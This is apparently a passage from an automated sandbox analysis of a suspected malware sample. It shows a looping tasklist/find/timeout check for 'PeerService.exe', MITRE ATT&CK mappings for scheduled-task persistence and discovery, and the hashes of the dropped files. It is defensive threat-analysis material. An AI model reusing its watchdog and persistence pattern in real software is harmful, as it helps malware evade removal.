    find /i "PeerService.exe"
    3⤵
    PID:4568
- - C:\Windows\system32\timeout.exe
    timeout /t 5
    3⤵
    - Delays execution with timeout.exe
    PID:2480
- - C:\Windows\system32\tasklist.exe
    tasklist
    3⤵
    - Discovers running processes
    - Suspicious use of AdjustPrivilegeToken
    PID:4816
- - C:\Windows\system32\find.exe
    find /i "PeerService.exe"
    3⤵
    PID:4908
- - C:\Windows\system32\timeout.exe
    timeout /t 5
    3⤵
    - Delays execution with timeout.exe
    PID:4684
- - C:\Windows\system32\tasklist.exe
    tasklist
    3⤵
    - Discovers running processes
    - Suspicious use of AdjustPrivilegeToken
    PID:1988
- - C:\Windows\system32\find.exe
    find /i "PeerService.exe"
    3⤵
    PID:3516
- - C:\Windows\system32\timeout.exe
    timeout /t 5
    3⤵
    - Delays execution with timeout.exe
    PID:944
- - C:\Windows\system32\tasklist.exe
    tasklist
    3⤵
    - Discovers running processes
    - Suspicious use of AdjustPrivilegeToken
    PID:4408
- - C:\Windows\system32\find.exe
    find /i "PeerService.exe"
    3⤵
    PID:2324
- - C:\Windows\system32\timeout.exe
    timeout /t 5
    3⤵
    - Delays execution with timeout.exe
    PID:3860
- - C:\Windows\system32\tasklist.exe
    tasklist
    3⤵
    - Discovers running processes
    - Suspicious use of AdjustPrivilegeToken
    PID:2088
- - C:\Windows\system32\find.exe
    find /i "PeerService.exe"
    3⤵
    PID:2500
- - C:\Windows\system32\timeout.exe
    timeout /t 5
    3⤵
    - Delays execution with timeout.exe
    PID:3636
- - C:\Windows\system32\tasklist.exe
    tasklist
    3⤵
    - Discovers running processes
    - Suspicious use of AdjustPrivilegeToken
    PID:4204
- - C:\Windows\system32\find.exe
    find /i "PeerService.exe"
    3⤵
    PID:4200
- - C:\Windows\system32\timeout.exe
    timeout /t 5
    3⤵
    - Delays execution with timeout.exe
    PID:2412
- - C:\Windows\system32\tasklist.exe
    tasklist
    3⤵
    - Discovers running processes
    - Suspicious use of AdjustPrivilegeToken
    PID:1064
- - C:\Windows\system32\find.exe
    find /i "PeerService.exe"
    3⤵
    PID:1248
- - C:\Windows\system32\timeout.exe
    timeout /t 5
    3⤵
    - Delays execution with timeout.exe
    PID:2504
- - C:\Windows\system32\tasklist.exe
    tasklist
    3⤵
    - Discovers running processes
    - Suspicious use of AdjustPrivilegeToken
    PID:1264
- - C:\Windows\system32\find.exe
    find /i "PeerService.exe"
    3⤵
    PID:3200
- - C:\Windows\system32\timeout.exe
    timeout /t 5
    3⤵
    - Delays execution with timeout.exe
    PID:5104
- - C:\Windows\system32\tasklist.exe
    tasklist
    3⤵
    - Discovers running processes
    - Suspicious use of AdjustPrivilegeToken
    PID:584
- - C:\Windows\system32\find.exe
    find /i "PeerService.exe"
    3⤵
    PID:4672
- - C:\Windows\system32\timeout.exe
    timeout /t 5
    3⤵
    - Delays execution with timeout.exe
    PID:928
- - C:\Windows\system32\tasklist.exe
    tasklist
    3⤵
    - Discovers running processes
    - Suspicious use of AdjustPrivilegeToken
    PID:3232
- - C:\Windows\system32\find.exe
    find /i "PeerService.exe"
    3⤵
    PID:4132
- - C:\Windows\system32\timeout.exe
    timeout /t 5
    3⤵
    - Delays execution with timeout.exe
    PID:2988
- - C:\Windows\system32\tasklist.exe
    tasklist
    3⤵
    - Discovers running processes
    - Suspicious use of AdjustPrivilegeToken
    PID:1160
- - C:\Windows\system32\find.exe
    find /i "PeerService.exe"
    3⤵
    PID:4860
- - C:\Windows\system32\timeout.exe
    timeout /t 5
    3⤵
    - Delays execution with timeout.exe
    PID:2072
- - C:\Windows\system32\tasklist.exe
    tasklist
    3⤵
    - Discovers running processes
    - Suspicious use of AdjustPrivilegeToken
    PID:4752
- - C:\Windows\system32\find.exe
    find /i "PeerService.exe"
    3⤵
    PID:3292
- - C:\Windows\system32\timeout.exe
    timeout /t 5
    3⤵
    - Delays execution with timeout.exe
    PID:1584
- - C:\Windows\system32\tasklist.exe
    tasklist
    3⤵
    - Discovers running processes
    - Suspicious use of AdjustPrivilegeToken
    PID:2404
- - C:\Windows\system32\find.exe
    find /i "PeerService.exe"
    3⤵
    PID:4008
- - C:\Windows\system32\timeout.exe
    timeout /t 5
    3⤵
    - Delays execution with timeout.exe
    PID:4084
- - C:\Windows\system32\tasklist.exe
    tasklist
    3⤵
    - Discovers running processes
    - Suspicious use of AdjustPrivilegeToken
    PID:3788
- - C:\Windows\system32\find.exe
    find /i "PeerService.exe"
    3⤵
    PID:3996
- - C:\Windows\system32\timeout.exe
    timeout /t 5
    3⤵
    - Delays execution with timeout.exe
    PID:1984
- - C:\Windows\system32\tasklist.exe
    tasklist
    3⤵
    - Discovers running processes
    - Suspicious use of AdjustPrivilegeToken
    PID:1752
- - C:\Windows\system32\find.exe
    find /i "PeerService.exe"
    3⤵
    PID:3272
- - C:\Windows\system32\timeout.exe
    timeout /t 5
    3⤵
    - Delays execution with timeout.exe
    PID:3184
- - C:\Windows\system32\tasklist.exe
    tasklist
    3⤵
    - Discovers running processes
    - Suspicious use of AdjustPrivilegeToken
    PID:3880
- - C:\Windows\system32\find.exe
    find /i "PeerService.exe"
    3⤵
    PID:3328
- - C:\Windows\system32\timeout.exe
    timeout /t 5
    3⤵
    - Delays execution with timeout.exe
    PID:1808
- - C:\Windows\system32\tasklist.exe
    tasklist
    3⤵
    - Discovers running processes
    - Suspicious use of AdjustPrivilegeToken
    PID:616
- - C:\Windows\system32\find.exe
    find /i "PeerService.exe"
    3⤵
    PID:4368
- - C:\Windows\system32\timeout.exe
    timeout /t 5
    3⤵
    - Delays execution with timeout.exe
    PID:5040
- - C:\Windows\system32\tasklist.exe
    tasklist
    3⤵
    - Discovers running processes
    - Suspicious use of AdjustPrivilegeToken
    PID:4004
- - C:\Windows\system32\find.exe
    find /i "PeerService.exe"
    3⤵
    PID:4312
- - C:\Windows\system32\timeout.exe
    timeout /t 5
    3⤵
    - Delays execution with timeout.exe
    PID:3032
- - C:\Windows\system32\tasklist.exe
    tasklist
    3⤵
    - Discovers running processes
    - Suspicious use of AdjustPrivilegeToken
    PID:4360
- - C:\Windows\system32\find.exe
    find /i "PeerService.exe"
    3⤵
    PID:4124
- - C:\Windows\system32\timeout.exe
    timeout /t 5
    3⤵
    - Delays execution with timeout.exe
    PID:4944

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Windows Command Shell

T1059.003

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Credential Access

Discovery

Process Discovery

T1057

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 2KB
SHA256 84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f
MD5 d85ba6ff808d9e5444a4b369f5bc2730
SHA1 31aa9d96590fff6981b315e0b391b575e4c0804a
SHA512 8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249
TLSH
T1CE51EE323375B1E888167F071E681A8053BF4355EA94AF1CB698621ED93641B9F222F3
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 944B
SHA256 63f3369719ec0f4063138a71ba369a25fb4824bc035eaa4072ee6a5a1812480a
MD5 e7d0883e28000a6270cf6b3b3f7b6c5a
SHA1 74d916eb15baa5ce4a168cd80d3d2c45d503daa2
SHA512 4b4ade064020959bc677689fa658816c8c498c8117df70a1ae4076533972593b4e2c3bf45d39e28662892e12db07641f14870ef69292e81030f8b3d7c92302f1
TLSH
T1C5112223F38C8920CC96163A509DAC5172B596CB81EEDF9F7FC0D210A1BF584CB61294
MD5 SHA1 SHA512 TLSH

Submit Download

__PSScriptPolicyTest_oeaxnxoa.wfu.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_oeaxnxoa.wfu.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

PeerService.exe

Path C:\Users\Admin\AppData\Roaming\PeerService\PeerService.exe
Size 9.7MB
SHA256 fb8ba4c8b4f3b36f7f4f1ab50f3018f16d374ef7ee318e468765240278863e66
MD5 6dc3b2933e690747af7a17a9c3f61b0b
SHA1 8d16af0fc8cc4e5e882409e33ac5740f48baccb0
SHA512 5016e54d49aae7e4aed835e21cba059ae34235096af0047de9313b61b436e681538f405c45a35638825e8fcbd2e1f82264b33a75946815fc5c49c12290945c35
SSDEEP 196608:s+hBtOkSEByQyVG/uzGNVyAl3K8fCGnbP3JzATCSByQyVG/uzGNVyAl3K8fCGX:7tOANSG/lVrl3KExL3JzATdNSG/lVrll
TLSH
T119A6126BB26901E8D1BFD17CC9065907EBB2780543A0A6CF12E046A62F77BE14E7E705
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

memory/1060-27-0x000001C86F390000-0x000001C86F3B2000-memory.dmp

Download